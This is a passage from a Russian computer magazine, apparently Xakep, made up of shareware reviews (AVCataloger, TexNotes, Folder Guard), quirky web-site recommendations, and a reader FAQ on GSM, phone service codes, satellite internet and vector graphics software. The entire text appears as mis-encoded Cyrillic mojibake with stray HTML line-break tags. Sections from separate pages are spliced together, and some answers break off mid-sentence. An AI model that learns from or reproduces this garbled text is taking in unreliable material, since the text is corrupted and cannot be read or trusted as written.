áåñïëàòíûé Ant Movie Catalog (www.ant.be.tf/moviecatalog) èëè<br />

ãèïåðíàâîðî÷åííûé eXtreme Movie Manager (www.binaryworks.it/<br />

extrememoviemanager). Ïðèõîäèòñÿ ïîëüçîâàòüñÿ îáåèìè ïðîãàìè<br />

îäíîâðåìåííî. Â òî æå âðåìÿ îäèí ìîé ïðèÿòåëü îò èñïîëüçîâàíèÿ<br />

ïîäîáíîãî ñîôòà ðåøèòåëüíî îòêàçàëñÿ. Îí çàÿâèë, ÷òî ýòî<br />

óçêîñïåöèàëèçèðîâàííûå ïðîãè, à ó íåãî êðîìå ôèëüìîâ åñòü<br />

åùå è êíèãè, è ìóçûêàëüíûå äèñêè, êîòîðûå òàêæå íóæäàþòñÿ â<br />

êîíòðîëå è ó÷åòå… Ñóäÿ ïî âñåìó, îòñóòñòâèå íà ðûíêå óíèâåðñàëüíîé<br />

ïðîãðàììû-êàòàëîãèçàòîðà, óìåþùåé ñàìîñòîÿòåëüíî<br />

çàïîëíÿòü «èíâåíòàðèçàöèîííûå êàðòî÷êè», çàìåòèëè è ðàçðàáîò÷èêè<br />

AVCataloger’à. Çàìåòèëè è òóò æå ïîñïåøèëè âûïóñòèòü<br />

íîâóþ âåðñèþ ñâîåé ñîôòèíû. Ïîëó÷èëîñü ñèìïàòè÷íî. Ââîäèøü<br />

íàçâàíèå ôèëüìà – îñòàëüíûå ïîëÿ (êàðòèíêà, àêòåðû, ðåæèññåð<br />

è ò.ä.) çàïîëíÿþòñÿ íà îñíîâå äàííûõ ñ IMDB.com. Âñòàâëÿåøü<br />

ìóçûêàëüíûé êîìïàêò-äèñê - çàïóñêàåòñÿ CDDB-ìîäóëü è, åñëè<br />

ïîâåçåò :), ÷åðåç ïàðó ñåêóíä â «êàðòî÷êó» âïèñûâàåòñÿ ïîëíàÿ<br />

èíôîðìàöèÿ î äèñêå è êîìïîçèöèÿõ íà íåì. Íó à äîñüå íà êíèæêó<br />

ïðîãðàììà ïûòàåòñÿ âûäðàòü èç áàçû äàííûõ Amazon.com. Åñëè<br />

ó÷åñòü, ÷òî âñå îñòàëüíûå ôóíêöèè, íåîáõîäèìûå äëÿ âåäåíèÿ<br />

ïîëíîöåííîãî êàòàëîãà (äîáàâëåíèå-ðåäàêòèðîâàíèå çàïèñåé,<br />

ñîðòèðîâêà, ýêñïîðò äàííûõ, âûâîä èíôîðìàöèè íà ïå÷àòü è<br />

ò.ï.), áûëè ðåàëèçîâàíû åùå â ïðîøëûõ âåðñèÿõ AVCataloger’à,<br />

ìîæíî ñìåëî ðåêîìåíäîâàòü ýòó ïðîãó äëÿ äîìàøíåãî ïðèìåíåíèÿ.<br />

Îñîáåííî òåì, êòî õîðîøî çíàåò àíãëèéñêèé :).


TexNotes v 3.2<br />

Windows 9x/Me/NT/2k/XP<br />

Size: 3628 Kb<br />

Shareware<br />

http://www.gemx.com<br />

Íà ðåäêîñòü ïðèÿòíàÿ çàïèñíàÿ<br />

êíèæêà, íàäåëåííàÿ<br />

ìàññîé èíòåðåñíûõ<br />

ôóíêöèé. Íå áóäó ïîëîñêàòü<br />

òåáå ìîçãè ðàññêàçàìè<br />

îá èíòóèòèâíî ïîíÿòíîì<br />

èíòåðôåéñå, óäîáíîé<br />

äðåâîâèäíîé ôîðìå õðàíåíèÿ<br />

èíôîðìàöèè è âîçìîæíîñòè<br />

èñïîëüçîâàíèÿ<br />

â çàìåòêàõ òåêñòà ñ ôîðìàòèðîâàíèåì,<br />

òàáëèö è<br />

ãðàôè÷åñêèõ èçîáðàæåíèé.<br />

Âî-ïåðâûõ, ïîäîáíûé<br />

íàáîð ôèøåê äàâíî<br />

óæå ñòàë îáÿçàòåëüíûì<br />

äëÿ äàííîãî êëàññà ïðîã,<br />

à âî-âòîðûõ, âñå ýòî è òàê<br />

ïðåêðàñíî âèäíî íà<br />

ñêðèíøîòå :). Ðàññêàæó ëó÷øå î òîì, ÷åãî íà ñêðèíøîòå íå âèäíî. Íà÷íó ñ<br />

êîíöà – îòìå÷ó íàëè÷èå ÷ðåçâû÷àéíî ìîùíûõ ñðåäñòâ äëÿ ýêñïîðòà íàêîïëåííîé<br />

èíôîðìàöèè. Èìõî, ýòî î÷åíü âàæíî. Çàïèñíàÿ êíèæêà îáû÷íî èñïîëüçóåòñÿ<br />

êàê êîïèëêà ñàìîé ðàçíîîáðàçíîé èíôîðìàöèè (çàìåòîê, öèòàò,<br />

ññûëîê, êàðòèíîê è êóñêîâ âåá-ñòðàíèö), îäíàêî êàêàÿ ïîëüçà îò êîïèëêè, êîòîðóþ<br />

íåëüçÿ âûïîòðîøèòü? TexNotes «âûïîòðîøèòü» ìîæíî. Ýòà ïðîãà ñ óäîâîëüñòâèåì<br />

«îòäàñò» òåáå ëþáóþ çàïèñü (ïîäáîðêó çàïèñåé) â íàèáîëåå óäîáíîì<br />

äëÿ òåáÿ ôîðìàòå (HTML, doc, txt è ò.ä). Áîëåå òîãî, TexNotes ìîæåò äàæå<br />

ñâàðãàíèòü äëÿ òåáÿ ýòàêèé ìàëåíüêèé e-book – îòäåëüíûé exe’øíèê,<br />

âêëþ÷àþùèé â ñåáÿ è íåîáõîäèìûé òåêñò (îïöèîíàëüíî – çàùèùåííûé îò êîïèðîâàíèÿ)<br />

è ïðîãðàììó ïðîñìîòðà.<br />

Äðóãàÿ èíòåðåñíàÿ ôèøêà – âñòðîåííûé ïëàíèðîâùèê. Áåç îñîáûõ íàâîðîòîâ,<br />

íî âåñüìà ïðèëè÷íûé. Ãëàâíîå – èíôîðìàöèÿ î çàäàíèÿõ (áóäèëüíèêàõ, âñòðå-<br />

÷àõ) äîáàâëÿåòñÿ áåç ëèøíåé áåãîòíè ïî ìåíþøêàì. Îäíî îêíî êàëåíäàðÿ, îäíî<br />

îêíî äëÿ íàñòðîéêè íàïîìèíàíèÿ. Ïàðà êëèêîâ è íàïëåâàòü íà ñêëåðîç.<br />

×òî åùå? Ïðîäâèíóòûå ôóíêöèè ïîèñêà è ñîðòèðîâêè çàïèñåé, àâòîìàòè÷åñêèé<br />

áýêàï, ïàðîëüíàÿ çàùèòà, ïðîäóìàííàÿ ñèñòåìà âûâîäà èíôîðìàöèè íà<br />

ïå÷àòü è ïîääåðæêà ãîðÿ÷èõ êëàâèø!<br />

Èòîãî: TexNotes - ñî âñåõ ñòîðîí äîñòîéíàÿ ïðîãà. Åñëè òû äî ñèõ ïîð òî è äåëî<br />

çàïèñûâàåøü òåëåôîíû íà êëî÷êàõ áóìàãè, à òåêñòîâûå ôàéëû è âåá-ñòðàíèöû<br />

ñêèäûâàåøü íà æåñòêèé äèñê áåç îñîáîé ñèñòåìû, òåáå åå îïðåäåëåííî<br />

ñòîèò «èìåòü â âèäó».<br />

Folder<br />

Guard v 5.5<br />

Windows 9x/Me/NT/2k/XP<br />

Size: 690 Kb<br />

Shareware<br />

http://www.winability.com/folderguard<br />

Åñëè òåáå ïðèõîäèòñÿ<br />

äåëèòü ñâîé êîìïüþòåð ñ<br />

êåì-íèáóäü åùå, òî äëÿ<br />

çàùèòû âàæíîé èíôîðìàöèè<br />

ïîïðîáóé èñïîëüçîâàòü<br />

ïðîãðàììó Folder<br />

Guard. Äàæå ñàìûé ïðîíûðëèâûé<br />

ìëàäøèé áðàòèê<br />

íå ñìîæåò äîáðàòüñÿ<br />

äî òâîåé ëþáîâíîé ïåðåïèñêè<br />

èëè êàòàëîãîâ ñ<br />

âåñåëûìè êàðòèíêàìè,<br />

åñëè ýòà ïðîãà ñäåëàåò<br />

óêàçàííûå ôàéëû è êàòàëîãè<br />

«íåâèäèìûìè». Ñàìîå<br />

ïðèÿòíîå, ÷òî îí äàæå<br />

íå äîãàäàåòñÿ î ñóùåñòâîâàíèè íà òâîåì êîìïüþòåðå çàïðåòíûõ äëÿ íåãî<br />

çîí, ïîñêîëüêó Folder Guard ðàáîòàåò ñîâåðøåííî íåçàìåòíî äëÿ ïîëüçîâàòåëÿ.<br />

Òåáå æå äëÿ ðàáîòû ñî «ñïðÿòàííîé» èíôîðìàöèåé ïîòðåáóåòñÿ ëèøü<br />

ââåñòè ïðàâèëüíûé ïàðîëü ïðè âõîäå â Windows èëè ïðè îòêðûòèè çàùèùåííîé<br />

ïàïêè. Ïîìèìî ýòîãî Folder Guard ïîçâîëÿåò îãðàíè÷èâàòü äîñòóï ïîëüçîâàòåëåé<br />

ê äðóãèì ñèñòåìíûì ðåñóðñàì (æåñòêèì äèñêàì, Ïàíåëè óïðàâëåíèÿ,<br />

ìåíþ Ïóñê è ò.ä.). Âïðî÷åì, íàéòè ïðèìåíåíèå äàííîé ïðîãå ìîãóò äàæå òå,<br />

êòî âëàäååò ñâîèì êîìïüþòåðîì áåçðàçäåëüíî. Âîò ÿ, íàïðèìåð, êðàéíå ïîðàäîâàëñÿ<br />

òîìó, ÷òî Folder Guard óìååò äåëàòü òàê, ÷òîáû ê çàùèùåííûì ïàïêàì<br />

ìîæíî áûëî ïîëó÷èòü äîñòóï òîëüêî èç îïðåäåëåííûõ «ïðîâåðåííûõ»<br />

ïðîã. Òî åñòü, äîïóñòèì, ñ ïàïêîé «Ìîè äîêóìåíòû» èç Word’à è Total<br />

Commander’à òû ðàáîòàåøü êàê íè â ÷åì íå áûâàëî, à âîò èç äðóãèõ ïðîãðàìì<br />

åå ïðîñòî-íàïðîñòî íå âèäíî :). Ñîãëàñèñü, ýòî îðèãèíàëüíûé ìåòîä çàùèòû<br />

îò ëþáèòåëåé ñîâàòü íîñ â ÷óæèå êîìïüþòåðû.<br />

Ïðèìå÷àíèå: èìåþòñÿ ðàçëè÷íûå âåðñèè ýòîé ïðîãè. Ïîýòîìó ñðàçó õî÷ó òåáÿ<br />

ïðåäóïðåäèòü - Folder Guard Standard Edition íåñîâìåñòèìà ñ Windows XP-<br />

Pro/2000/NT. Åñëè òû æèâåøü ïîä îäíîé èç óêàçàííûõ îïåðàöèîííûõ ñèñòåì,<br />

ëó÷øå ñðàçó êà÷àé Folder Guard Professional.


96<br />

Þíèòû<br />

WWW<br />

Àëåêñ Ýêñëåð (exler@exler.ru)<br />

Ñóïåðâèçèòî÷êà<br />

www.copi.ru<br />

Íà ïåðâûé âçãëÿä, âðîäå, íè÷åãî îðèãèíàëüíîãî<br />

- îáû÷íàÿ ýëåêòðîííàÿ<br />

âèçèòêà. Îäíàêî êîãäà âûÿñíÿåøü, êàêèå<br />

âîçìîæíîñòè ïðåäîñòàâëÿåò ýòà<br />

øòóêà, ñðàçó ïîíèìàåøü, ÷òî çäåñü íå<br />

âñå òàê ïðîñòî, êàê ìîæåò ïîêàçàòüñÿ.<br />

Copi - ýòî ÿ÷åéêà ïåðñîíàëüíîé èíôîðìàöèè<br />

(Cell Of Personal<br />

Information). Çàíîñèøü òóäà âñåâîçìîæíûå<br />

ñâåäåíèÿ î ñåáå - âïëîòü äî<br />

öâåòà ãëàç è íîìåðîâ ýëåêòðîííûõ êîøåëüêîâ<br />

äëÿ ïåðåâîäîâ, ïîñëå ÷åãî â<br />

êà÷åñòâå ïîäïèñè äëÿ âñåõ ïèñåì ñòàâèøü<br />

ññûëêó íà ñâîþ ÿ÷åéêó. Âñå,<br />

áîëüøå íå íóæíî äîëãî è íóäíî<br />

ïðåäñòàâëÿòüñÿ íåçíàêîìûì ëþäÿì.<br />

Êîìó íàäî, òå òûêàþò íà ÿ÷åéêó è âûÿñíÿþò,<br />

÷òî èìåííî òàì ïðî òåáÿ çàÿ÷ååíî<br />

- îò ðàçìåðà òðóñîâ äî ïðîôåññèîíàëüíîãî<br />

ðåçþìå. Î÷åíü<br />

óäîáíî. Ôîòî òîæå ìîæíî ïîñòàâèòü.<br />

 ýòîì ñëó÷àå ÿ÷åéêà ñòàíåò òâîèì<br />

ôîðïîñòîì íà ñàéòàõ çíàêîìñòâ.<br />

Íà ÷åì ñòîèò Ðóíåò<br />

maruska.alexp.ru<br />

Ïîñåòèâ ýòîò ñàéò, òû<br />

ìîæåøü ãîðäèòüñÿ. Ïîòîìó<br />

÷òî òåáå óäàëîñü<br />

ïîïàñòü íà ñòðàíèöó òîé<br />

ñàìîé ÷åðåïàõè, íà êîòîðîé,<br />

ïî ïðåäàíèþ, ñòîèò<br />

Ñâÿòîé Êîííåêòèé, äåðæàùèé<br />

íà ñâîèõ ïëå÷àõ<br />

âåñü èíòåðíåò. Íó è, êðîìå<br />

òîãî, ýòî åäèíñòâåííàÿ<br />

ñòðàíèöà â Ðóíåòå,<br />

ïîñâÿùåííàÿ ÷åðåïàõå.<br />

Îñîáåííî ðåêîìåíäóþ<br />

ôîòîàëüáîì. Ïðàâäà, ÷åðåïàõà<br />

Ìàðóñÿ ðàçíîîáðàçíîé<br />

ìèìèêîé íå îòëè÷àåòñÿ,<br />

ïîýòîìó òðóäíî<br />

ïîíÿòü, ÷òî îíà äåëàåò<br />

â äàííûé ìîìåíò: ãðóñòèò,<br />

âåñåëèòñÿ, íàäìåííî<br />

ñìîòðèò âäàëü, õîëîäíî<br />

èçó÷àåò ïèùó, âñïîìèíàåò<br />

ñâîþ ìàìó èëè<br />

æå åå ïðîñòî ñëåãêà ìóòèò ïîñëå â÷åðàøíåãî, îäíàêî íàäî îòäàòü åé äîëæíîå<br />

- ïðàêòè÷åñêè âåçäå Ìàðóñÿ âûãëÿäèò ïðîñòî îòëè÷íî. Äà è ïîçèðóåò<br />

î÷åíü òåðïåëèâî, íå ñòàðàÿñü ëîìàíóòüñÿ êóäà-òî â ãîëóáóþ äàëü. Âåðîÿòíî,<br />

îíà ÷åòêî ïîíèìàåò, êàêàÿ áîëüøàÿ îòâåòñòâåííîñòü íà íåå âîçëîæåíà...<br />

Ñïîíñîð ðóáðèêè «Þíèòû» - ÖÍÒ öåíòðàëüíûé òåëåãðàô<br />

www.dialup.cnt.ru, www.cards.cnt.ru<br />

Î ðàçëè÷íûõ<br />

ñåðâèñàõ ïî<br />

ãàìáóðãñêîìó ñ÷åòó<br />

www.checker.ru<br />

Ïîìíèøü, êàê òû íåäàâíî<br />

õîäèë â îäèí êîìïüþòåðíûé<br />

ìàãàçèí è óøåë<br />

îòòóäà, îòïëåâûâàÿñü?<br />

Ïîòîìó ÷òî ñíà÷àëà îõðàííèê<br />

íå õîòåë òåáÿ<br />

ïðîïóñêàòü, ïðèäðàâøèñü<br />

ê ãðÿçíûì ñïîðòèâíûì<br />

øòàíàì (êàê áóäòî<br />

ýòî åãî äåëî), ïîòîì<br />

ïîäëûé ìåíåäæåð íå<br />

ðàçðåøèë ÷àñîê ïîãîíÿòü<br />

â Warcraft íà ñòåíäîâîì êîìïüþòåðå (à âåäü òû õîòåë ïðîñòî îöåíèòü<br />

êàðòèíêó íà ìîíèòîðå), ïîñëå ýòîãî â êàññå îòêàçàëèñü â êà÷åñòâå<br />

îïëàòû ïðèíèìàòü ìîíãîëüñêèå òóãðèêè. À â çàâåðøåíèå âñåé ýòî ýïîïåè<br />

îíè åùå èìåëè íàãëîñòü êîñî ïîñìîòðåòü, êîãäà òåáÿ ñòîøíèëî â<br />

óãëó ïðè âèäå íàäïèñè íà ìîíèòîðå "Windows 98"... Òàê âîò, íà äàííîì<br />

ñàéòå òû ìîæåøü èçëîæèòü âñå òâîè çëîêëþ÷åíèÿ, ÷òîáû îñòàëüíûå<br />

ïîñåòèòåëè òâåðäî çíàëè, ÷òî òåïåðü â ýòîò ìàãàçèí - íè íîãîé! Êðîìå<br />

òîãî, òàì ìîæíî ïî÷èòàòü, êàê íàñ îáìàíûâàþò ñîòîâûå îïåðàòîðû, èíòåðíåòîâñêèå<br />

âèòðèíû è ñëóæáû áûñòðûõ äîñòàâîê. À ìîæíî è äîáðîå<br />

ñëîâî çà êîãî-íèáóäü çàìîëâèòü. Îíî òîæå íå ëèøíåå...<br />

Ïðèêîëèñü íàä<br />

íà÷àëüíèêîì<br />

humour.tom.ru/prog.html<br />

Ñî âêóñîì ïîäîáðàííàÿ<br />

êîëëåêöèÿ ïðèêîëüíûõ<br />

ïðîãðàìì ïðèäåòñÿ ïî<br />

äóøå êîìó óãîäíî. Ïîòîìó<br />

÷òî ïðèêîëüíûìè<br />

ïðîãðàììàìè ìîæíî<br />

ðàçâëå÷üñÿ ñàìîìó,<br />

ìîæíî ñ èõ ïîìîùüþ<br />

çàâîåâàòü áëàãîñêëîííîñòü<br />

ïðèøåäøåé â ãîñòè<br />

ïîäðóãè (îíà áóäåò<br />

òàê õîõîòàòü, ÷òî íå çàìåòèò,<br />

êàê òû ëîâêèì<br />

ìàíåâðîì îòòåñíèøü åå<br />

ê äèâàíó è ñî âñÿêèìè<br />

ïðèáàóòêàìè íåçàìåòíî<br />

ðàññòåãíåøü ëèô÷èê),<br />

íî ãëàâíîå - ýòî íåãîäÿéñòâî ìîæíî òèõîíüêî ïîäñóíóòü íà÷àëüíèêó<br />

è ïîòîì äâà äíÿ õîõîòàòü, âñïîìèíàÿ, êàê îí ïûòàëñÿ ìûøêîé<br />

ïîéìàòü óëåòàþùèé äåñêòîï, ïðèêëåèâàë ñêîò÷åì âñå âðåìÿ âûåçæàþùèé<br />

ëîòîê ñèäèðîìà, ïåðåâîðà÷èâàë ìîíèòîð, ÷òîáû ïðî÷èòàòü<br />

ðàñïîëîæåííûé ââåðõ íîãàìè òåêñò, è ïàäàë ñ êðåñëà, êîãäà èç äèíàìèêîâ<br />

âäðóã äîíîñèëñÿ ëåäåíÿùèé äóøó âîïëü. Âåäü ïîãëóìèòüñÿ<br />

íàä íà÷àëüíèêîì (ïðåïîäàâàòåëåì, ðóêîâîäèòåëåì äèïëîìà) -<br />

äåëî ñâÿòîå. Íå âñå æå èì íàä íàìè ãëóìèòüñÿ, ïðàâèëüíî?


Ðîæèñòûé êîíñòðóêòîð<br />

www.ericmyer.com/stereotypes.htm<br />

Âîò çäåñü ìîæíî êëàññíî ðàçâëå÷üñÿ. Áåðåì ïðåäîñòàâëåííûå íà<br />

ñàéòå âñÿêèå-ðàçíûå ðîæè è íà÷èíàåì ïðè÷åñêó îäíîé ôèçèîíîìèè<br />

ïðèñòàâëÿòü ê óøàì äðóãîé, íîñó òðåòüåé, ïîäáîðîäêó ÷åòâåðòîé è<br />

ïëå÷àì ïÿòîé. Ïîëó÷àåòñÿ î÷åíü çàáàâíî. ×òî õàðàêòåðíî, ìóæ÷èí ñ<br />

æåíùèíàìè ìîæíî êîìáèíèðîâàòü áåç ïðîáëåì. Â ðåçóëüòàòå, êàê<br />

íè ñòðàííî, ïîëó÷àþòñÿ âîâñå íå êàêèå-òî ìîíñòðû, à äàæå íàîáîðîò<br />

- âñÿêèå ñèìïàìïóëå÷êè. Îñîáåííî åñëè ãëàçåíêè øêîëüíèöû<br />

âëåïèòü ðîæå ÿâíîãî óãîëîâíèêà èç èëëþñòðàöèé Ëîìáðîçî. À åñëè<br />

äîëãî è íóäíî ñìåøèâàòü ñîâåðøåííî ðàçëè÷íûå ÷àñòè òåëà ïðÿìî<br />

ïðîòèâîïîëîæíûõ ãåíîòèïîâ, òî ìîæíî â êîíöå êîíöîâ ïîëó÷èòü<br />

Ìàéêëà Äæåêñîíà. Èëè Ëþáîâü Ñëèñêó. Ýòî, âïðî÷åì, êàê ïîâåçåò.<br />

Ñàìûé íàñòîÿùèé<br />

«êóáèê Ðóáèêà»<br />

www.<strong>fl</strong>ashgu.ru/rubik<br />

Äà-äà, ýòà çàðàçà äîáðàëàñü<br />

è äî èíòåðíåòà. Íà ýòîì ñàéòå<br />

ìîæíî óâèäåòü ÷óäîâèùíîå<br />

ïîðîæäåíèå âîñïàëåííîãî<br />

ðàçóìà âåíãåðñêîãî ïðîôåññîðà,<br />

ïðè÷åì íå òîëüêî<br />

óâèäåòü, íî è íà÷àòü êðóòèòü<br />

åãî äî ïîëíîãî óìîïîìðà÷åíèÿ,<br />

ïîêà ñîí íå ñìåæèò òâîè<br />

î÷è èëè øèçà íå ñêîñèò âàøè<br />

ðÿäû. ß, êîíå÷íî, çëîäåé,<br />

÷òî äàþ òàêèå ññûëêè, íî,<br />

áûòü ìîæåò, ñðåäè ÷èòàòåëåé<br />

íàéäåòñÿ íåñêîëüêî ÷åëîâåê,<br />

êîòîðûå åùå íå çíàþò, ÷òî<br />

ýòî òàêîå - âîò òóò-òî îíè è<br />

ïðîïàëè. Ïîòîìó ÷òî ïðîøëè<br />

òå âðåìåíà, êîãäà ìîæíî áûëî<br />

ïðîñòî âçÿòü äà è ïåðåêëåèòü<br />

öâåòíûå áóìàæêè. Â<br />

èíòåðíåòå òàêàÿ õîõìà íå<br />

ñðàáàòûâàåò, ðàçâå ÷òî ñàéò<br />

õàêíóòü, à ýòî íå ó âñåõ ïîëó-<br />

÷èòñÿ. Òàê ÷òî âïåðåä, êðóòèòü<br />

â ðàçíûõ íàïðàâëåíèÿõ<br />

ýòó çàðàçó. À âîêðóã òåáÿ ïóñêàé<br />

áåãóò äíè, íåäåëè, ãîäà.<br />

Òîëüêî ñòðè÷üñÿ ðàç â ïîëãîäà<br />

íå çàáûâàé, ëàäíî?


98<br />

Þíèòû<br />

FAQ<br />

Stepan Ilyin aka Step (faq@real.xakep.ru)<br />

Çàäàâàÿ âîïðîñ, ïîäóìàé! Íå ñòîèò ìíå ïîñûëàòü<br />

âîïðîñû, òàê èëè èíà÷å ñâÿçàííûå ñ<br />

õàêîì/êðÿêîì/ôðèêîì - äëÿ ýòîé åñòü hack-faq<br />

(hackfaq@real.xakep.ru), íå ñòîèò òàêæå çàäàâàòü<br />

îòêðîâåííî ëàìåðñêèå âîïðîñû, îòâåò íà êîòîðûå<br />

òû ïðè îïðåäåëåííîì æåëàíèè ìîæåøü íàéòè è<br />

ñàì. ß íå òåëåïàò, ïîýòîìó êîíêðåòèçèðóé âîïðîñ,<br />

ïðèñûëàé êàê ìîæíî áîëüøå èíôîðìàöèè.<br />

Ðàññêàæè êðàòêî î ñòàíäàðòàõ ñîòîâîé ñâÿçè. Îñîáåííî<br />

âîïðîñ.......................<br />

èíòåðåñóåò GSM...<br />

îòâåò.........................<br />

A: Çà ïîñëåäíèå 10 ëåò áûëî ðàçðàáîòàíî äîâîëüíî ìíîãî ñòàíäàðòîâ ìîáèëüíîé ñâÿçè. Îäíè è ïî ñåé äåíü øèðîêî èñïîëüçóþòñÿ âî âñåì ìèðå, äðóãèå òàê è îñòàëèñü<br />

â ñòàäèè òåñòèðîâàíèÿ. Ïîñëåäíèå, âåðîÿòíî, òåáÿ íå èíòåðåñóþò, ïîýòîìó ìû èõ òðîãàòü íå áóäåì. Èòàê, ñóùåñòâóåò äâà âèäà ñòàíäàðòîâ ñîòîâîé ñâÿçè: àíàëîãîâûå è<br />

öèôðîâûå. Íà ñàìûõ ðàííèõ ýòàïàõ ðàçâèòèÿ âàæíåå âñåãî áûëî îáåñïå÷èòü ìàêñèìàëüíóþ çîíó îõâàòà ïðè ìèíèìóìå áàçîâûõ ñòàíöèé. Âûäåëÿÿ êàæäîìó àáîíåíòó âî<br />

âðåìÿ ðàçãîâîðà îïðåäåëåííóþ ïîëîñó ÷àñòîò, àíàëîãîâàÿ ñèñòåìà AMPS (Advanced Mobile Phone Service) îòëè÷íî ñïðàâëÿëàñü ñ ïîñòàâëåííîé çàäà÷åé. Îäíàêî àáîíåíòîâ<br />

ñòàíîâèëîñü âñå áîëüøå, ïîÿâèëñÿ äåôèöèò ÷àñòîò, ïåðåãðóçêè ñåòè ñòàëè åæåäíåâíîé ïðîáëåìîé. Íåóäèâèòåëüíî, ÷òî ñòàíäàðò áûë îáðå÷åí. Íóæíî áûëî ÷òî-òî<br />

íîâîå, ðåâîëþöèîííîå, ñïîñîáíîå ïðè ïðî÷èõ ðàâíûõ óñëîâèÿõ (öåíà, çîíà ïîêðûòèÿ, êà÷åñòâî ñâÿçè) çíà÷èòåëüíî óâåëè÷èòü ÷èñëî îäíîâðåìåííî ðàçãîâàðèâàþùèõ àáîíåíòîâ.<br />

Ïîäîñïåâøèå öèôðîâûå ñòàíäàðòû áûëè êàê íåëüçÿ êñòàòè. Òåõíîëîãèÿ Time Division Multiple Access (TDMA) ïîëîæèëà íà÷àëî ñàìûì ðàñïðîñòðàíåííûì íà ñåãîäíÿøíèé<br />

äåíü ñòàíäàðòàì. Â åå ãðóïïó âõîäÿò Ãëîáàëüíàÿ ñèñòåìà ìîáèëüíîé ñâÿçè (GSM - Global System for Mobile Communications), Ïåðñîíàëüíàÿ öèôðîâàÿ ñîòîâàÿ<br />

ñâÿçü (PDC - Personal Digital Cellular) è íåñêîëüêî äðóãèõ. GSM ñòàë ñòàíäàðòîì äå-ôàêòî íà òåððèòîðèè Åâðîïû è, â ÷àñòíîñòè, Ðîññèè. Îí ïðåäóñìàòðèâàåò ðàáîòó ïåðåäàò÷èêîâ<br />

â äâóõ äèàïàçîíàõ ÷àñòîò, ïîçâîëÿåò íà îäíîé íåñóùåé ÷àñòîòå ðàçìåñòèòü âîñåìü ðå÷åâûõ êàíàëîâ îäíîâðåìåííî.  êà÷åñòâå ðå÷åïðåîáðàçóþùåãî óñòðîéñòâà<br />

èñïîëüçóåòñÿ ðå÷åâîé êîäåê ñ ðåãóëÿðíûì èìïóëüñíûì âîçáóæäåíèåì è ñêîðîñòüþ ïðåîáðàçîâàíèÿ ðå÷è 13 Êáèò/ñ. Äëÿ çàùèòû îò îøèáîê, âîçíèêàþùèõ â ðàäèîêàíàëàõ,<br />

ïðèìåíÿåòñÿ áëî÷íîå è ñâåðî÷íîå êîäèðîâàíèå ñ ïåðåìåæåíèåì. Àâòîìàòè÷åñêèé ðîóìèíã, îãðîìíîå êîëè÷åñòâî ïîääåðæèâàåìûõ òðóáîê, çàêðûòûé îò ïðîñëóøèâàíèÿ<br />

èíòåðôåéñ, íîâîìîäíûå òåõíîëîãèè (WAP, GPRS, SMS, MMS è äðóãèå) - ëèøü íà÷àëî ïåðå÷èñëåíèÿ åãî äîñòîèíñòâ.<br />

Êàê îïðåäåëèòü<br />

ïðîøèâêó è<br />

ñåðèéíûé íîìåð<br />

ìîåãî ñîòîâîãî<br />

òåëåôîíà? ß<br />

ñëûøàë î êàêèõ-òî<br />

ñïåöèàëüíûõ<br />

âîïðîñ.......................<br />

...............................<br />

...............................<br />

îòâåò.........................<br />

íîìåðàõ.<br />

A: Nokia. "*#0000#" (çäåñü è äàëåå íàáèðàé<br />

áåç êàâû÷åê) - âåðñèÿ ïðîøèâêè,<br />

"*#92702689#" - ñåðèéíûé íîìåð, äàòà<br />

èçãîòîâëåíèÿ, èíôîðìàöèÿ î ñåðâèñíîì<br />

îáñëóæèâàíèè, ãëîáàëüíûé òàéìåð<br />

àïïàðàòà.<br />

Siemens. "*#06#" ("*#0606#") - ñåðèéíèê<br />

àïïàðàòà è èíôîðìàöèÿ î ïðîøèâêå.<br />

Motorola. "19#" - âåðñèÿ ïðîãðàììíîãî<br />

îáåñïå÷åíèÿ.<br />

Ericsson. ">*


ß íàìåäíè ðåøèë ïîñòàâèòü ñåáå<br />

ñïóòíèêîâûé èíòåðíåò, ïî÷èòàë ïðàéñ è<br />

êîå-÷òî íå ïîíÿë… ×òî òàêîå "êàíàë â<br />

âîïðîñ.......................<br />

îäíó ...............................<br />

ñòîðîíó"?<br />

îòâåò.........................<br />

A: Äåëî â òîì, ÷òî áîëüøèíñòâî òàðåëîê óìåþò òîëüêî ïðèíèìàòü èíôîðìàöèþ<br />

(îäíîíàïðàâëåííûå), ñîîòâåòñòâåííî è ñ èíòåðíåòà òû èíôîðìàöèþ ìîæåøü òîëüêî ñêà÷èâàòü,<br />

à äëÿ òîãî ÷òîáû ÷òî-òî îòïðàâèòü (äàæå çàïðîñ íà çàãðóçêó www-ñòðàíèöû), ïðèäåòñÿ<br />

èñïîëüçîâàòü ñòîðîííèé êàíàë (ìîäåì, âûäåëåíêà, ADSL èëè äðóãîå). Ðàçóìååòñÿ, åñòü äóïëåêñíûå<br />

òàðåëêè, òî åñòü äåâàéñû, óìåþùèå êàê ïðèíèìàòü, òàê è îòïðàâëÿòü èíôîðìàöèþ,<br />

íî îíè î÷åíü äîðîãèå (íå ìåíüøå $5000) è òåáå, âåðîÿòíî, íå ïî êàðìàíó. Èìåííî ïîýòîìó<br />

ñïóòíèêîâûé èíòåðíåò ïîêà åùå ðåäêîå ÿâëåíèå, à æàëü. Ïåðñïåêòèâû-òî íåïëîõèå.<br />

Ïîäñêàæè íà÷èíàþùåìó äèçàéíåðó! ×òî<br />

ëó÷øå: Corel Draw èëè Adobe<br />

âîïðîñ.......................<br />

Illustrator?<br />

...............................<br />

îòâåò.........................<br />

A: À ÷òî ëó÷øå: Intel èëè AMD? Òàêèå âåùè çàâèñÿò òîëüêî îò ëè÷íûõ ïðèñòðàñòèé, êîìó-òî íðàâèòñÿ<br />

îäíî, êîìó-òî - äðóãîå. Ìîÿ æå òî÷êà çðåíèÿ çàêëþ÷àåòñÿ â ñëåäóþùåì. Corel Draw - î÷åíü ìîùíûé<br />

ïàêåò âåêòîðíîé ãðàôèêè, íî, ÷åñòíî ãîâîðÿ, äëÿ íåïðîôåññèîíàëîâ. Íà óðîâíå ïîëèãðàôèè îí âñå<br />

åùå íå êîòèðóåòñÿ, äà è, íàâåðíîå, íå áóäåò. Âñå èçìåíåíèÿ ñ 9 ïî 11 âåðñèþ çàêëþ÷àþòñÿ ëèøü âî<br />

âíåøíèõ èçìåíåíèÿõ äà â îïòèìèçàöèè êîäà. Íè êàïåëüêè íîâîãî, à æàëü. ×òî êàñàåòñÿ èëëþñòðàòîðà,<br />

òî ñêàæó îäíî. Åñëè ïðî Corel Draw â åâðîïåéñêèõ òèïîãðàôèÿõ è íå ñëûøàëè, òî Adobe Illustrator<br />

